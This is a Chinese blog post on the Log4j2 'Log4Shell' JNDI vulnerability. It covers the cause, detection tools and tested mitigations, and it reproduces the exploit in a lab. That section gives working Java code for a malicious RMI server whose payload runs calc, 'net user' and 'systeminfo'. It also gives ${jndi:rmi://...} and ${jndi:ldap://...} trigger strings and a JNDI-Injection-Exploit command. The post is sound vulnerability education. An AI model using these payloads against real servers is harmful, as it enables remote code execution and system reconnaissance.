关于Log4J 漏洞的研究和防护

447 阅读7分钟

前言

   本文成果仅用于学习,不得用于非法用途

漏洞原理

   Apache Log4j 2是一款开源的Java的日志记录工具,大量的业务框架都使用了该组件。 近日, Apache Log4j 的远程代码执行最新漏洞细节被公开,攻击者可通过构造恶意请求利用该漏洞实现在目标服务器上执行任意代码。可导致服务器被黑客控制,从而进行页面篡改、数据窃取、挖矿、勒索等行为。

  此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生

  Java类产品:Apache Log4j 2.x < 2.15.0-rc2。 1.x版本不受已影响   可能的受影响应用及组件(包括但不限于)如下: Apache Solr,Apache Flink,Apache Druid,Apache Struts2,srping-boot-strater-log4j,ElasticSearch,flume,dubbo,Redis,logstash,kafka。

大致漏洞逻辑

漏洞监测工具

   目前网上听过的工具,就是按照jar包去搜索的,可以临时用一下 参考地址: github.com/webraybtl/L… 或者 log4j2-detector.chaitin.cn/

github.com/webraybtl/L… 为例简单说明下

下载下来以后文件:

windows下运行log4j2_detect_gui/log4j2_detect_gui.exe

运行结果

Linux下运行log4j2_detect/log4j2_detect

./log4j2_detect /root/nmq/(要监测的路径,尽量控制下,不然挺慢的)

运行结果

检测工具监测还是有点问题的,可能无法100%监测出所有jar

漏洞修复方式

  1. jvm参数 -Dlog4j2.formatMsgNoLookups=true 有效
  2. log4j2.formatMsgNoLookups=True 有效 有效
  3. 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS(或LOG4J_FORMAT_MSG_NO_LOOKUPS) 设置为true 无效,待进一步验证
  4. 升级到2.17.0版本有效 有效,彻底解决方式
  5. 关闭服务外网访问 注入的要求是要能连上注入服务器,一般部署在互联网,阻断互联网访问也可以
  6. 目前发现版本2.0 - 2.14.x 上诉有效的方式(1,2)也都有效,即所有有问题的版本用上诉有效的方式都可以

漏洞复原

具体效果

RMI注入复原

   RMI,是Remote Method Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法。

RMI包括以下三个部分:

  • Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。
  • Server: 远程方法的提供者,并向Registry注册自身提供的服务
  • Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用

第一步创建Regiter和Server

Resiter注册


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String[] args) {
        try {
            //注册的register端口,用于外部访问
            Registry registry = LocateRegistry.createRegistry(1099);

            //com.company.Test是具体的实现类,也就是server
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(
                    new Reference("com.company.Test", "com.company.Test", null));
            //发布的服务名,用于远程调用
            registry.bind("rmiExecute", referenceWrapper);
            System.out.println("rmi Server 'rmiExecute/1099' Started!\n");
        } catch (RemoteException | AlreadyBoundException | NamingException e) {
            e.printStackTrace();
        }
    }
}

Server实现,也就是具体的逻辑

内容分了4个步骤

  1. 创建文件,并写入内容
  2. 调用打开计算器,cmd命令
  3. 调用获取windows所有用户信息
  4. 调用获取windows所有系统信息
package com.company;

import java.io.*;
import java.rmi.server.UnicastRemoteObject;

public class Test extends UnicastRemoteObject {
    public Test() throws Exception {
    }

    //测试方面,直接初始化的时候,就执行逻辑
    static {
        System.out.println("这是测试JNDI:RMI远程攻击方式,效果是;当前系统(windows)弹出计算器。");
        System.out.println("开始创建文件!");

        //创建文件,并写入文件内容
        File file= new File("../xxzzyy.txt");
        try {
            if(!file.exists()){
                file.createNewFile();
            }
            //文件内容,增加时间戳
            String data = "\r\n这是来自于JNDI:RMI漏入注入写入的信息,仅用于测试" + System.currentTimeMillis();
            FileWriter fileWriter = new FileWriter(file.getName(),true);
            BufferedWriter bufferWriter = new BufferedWriter(fileWriter);
            bufferWriter.write(data);
            bufferWriter.close();
            System.out.println("创建文件成功!");
        } catch (IOException e) {
            e.printStackTrace();
        }

        //调用windows端计算器
        String[] var0;
        try {
            var0 = new String[]{"calc"};
            Runtime.getRuntime().exec(var0).waitFor();
        } catch (Exception var1) {
        }

        // 获取windows所有用户信息
        executive("net user");
        // 获取windows机器信息
        executive("systeminfo");

    }
    //其他查看提供代码样例
}

第二步 发布RMI服务

本地测试方便,是直接在本地发布的,发布成功以后,见一下输出

第三步 编写测试服务

   按照漏洞注入原理,一般是客户端在指定form里面输入带有 ${JNDI等字符的内容},然后后台日志系统直接记录这个内容的时候,会触发这个漏洞

  本地为了测试方便,不模拟怎么从客户端输入参数到服务端,直接在服务端进行测试了

本地写个测试类,用于测试Log4J漏洞

引入log4j-api和log4j-core两个文件 大于2.0, 小于 2.15.0的都可以

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>Log4JBugTestDemo</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.11.2</version> <!--大于2.0, 小于 2.15.0的都可以-->
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.11.2</version>
        </dependency>
    </dependencies>

</project>
package com.company;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4JRmiTest {
    private static final Logger logger = LogManager.getLogger(Log4JRmiTest.class);
    public static void main(String[] args) {

        //获取机器虚拟机信息
        String vmInfo = "${java:vm}";
        logger.error("vm信息是,{}", vmInfo);
        //获取操作系统信息
        String osInfo = "${java:os}";
        logger.error("os信息是,{}", osInfo);

        //防止有些JDK版本比较高,已经默认屏蔽jndi了
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        //远程注入调用,注意调用语法,jndi:rmi,  后面的服务名,就是前面发布的服务名
        logger.error("${jndi:rmi://127.0.0.1:1099/rmiExecute}");
    }
}


第四步,看效果

  • 直接输出信息
  • 远程调用输出信息
    1. 创建文件,并写入内容
    2. 调用打开计算器,cmd命令
    3. 调用获取windows所有用户信息
    4. 调用获取windows所有系统信息

获取VM信息

获取OS信息

创建文件,并写入内容

调用计算器

获取windows所有用户信息

获取windows所有系统信息

总结

自此,就会发现,通过远程调用执行,基本上在服务器为所欲为,一旦被攻破,风险非常的大。

LDAP注入复原

  LDAP(lightweight directory access protocol,轻量级目录访问协议)是在20世纪90年代早期作为标准目录协议进行开发的。它是目前最流行的目录协议,与厂商、具体平台无关。LDAP用统一的方式定义了如何访问目录服务中的内容,比如增加、修改、删除一个条目。每个具体的目录服务厂商都会向外界提供LDAP协议访问本产品的接口,这样,我们只需要统一关心如何使用LDAP协议就可以了

   JNDI则是Java中用于访问LDAP的API,开发人员使用JNDI完成与LDAP服务器之间的通信,即用JNDI来访问LDAP,而不需要和具体的目录服务产品特性打交道。这样通过LDAP、JNDI两层抽象,使Java程序对目录服务的访问做到了平台无关性。

这个漏洞原理和RMI是类似的,为了测试方面,直接使用第三方写的服务端程序 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

第一步,启动服务端

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.100.100

说明 -C代表命令,就是要执行的名称,目前是测试 cmd(linux下就是bash)命令,例如上面的calc就是windows下打开计算器的命令

-A标识绑定的地址

启动成功以后

注意 whose trustURLCodebase is true 代表可以漏洞访问, 注意JDK版本

这两个地址,就是自动发布的,可以客户端注入访问的地址

第二步,编写简易客户端访问

package com.company;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4JLdapTest {
    private static final Logger logger = LogManager.getLogger(Log4JLdapTest.class);
    public static void main(String[] args) {
        //远程注入调用,注意调用语法,jndi:rmi,  后面的服务名,就是前面发布的服务名
        logger.error("${jndi:ldap://192.168.100.100:1389/93sdyo}");
    }
}

看效果

客户端

控制台

总结

两种注入方式,其实类似,这个就不细讲了

漏洞防护测试

log4j-api, log4j-core升级到2.15.0

验证:问题修复

启动增加 -Dlog4j2.formatMsgNoLookups=true 参数

未增加参数的情况下

增加参数的情况下

总结,增加启动参数有效(2.0-2.14,随机挑选了7-8个版本都是没问题,基本上保证所有版本增加参数以后都能生效)

增加环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true

LOG4J_FORMAT_MSG_NO_LOOKUPS,FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS等参数发现无法生效,待进一步验证

增加配置文件log4j2.formatMsgNoLookups=true

项目创建log4j2.component.properties文件

log4j2.formatMsgNoLookups=true

有效

总结

  1. jvm参数 -Dlog4j2.formatMsgNoLookups=true 有效
  2. log4j2.formatMsgNoLookups=True 有效
  3. 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS(或LOG4J_FORMAT_MSG_NO_LOOKUPS) 设置为true 无效,待进一步验证
  4. 升级到2.15.0版本有效
  5. 目前发现版本2.0 - 2.14.x 上诉有效的方式也都有效,即所有有问题的版本用上诉有效的方式都可以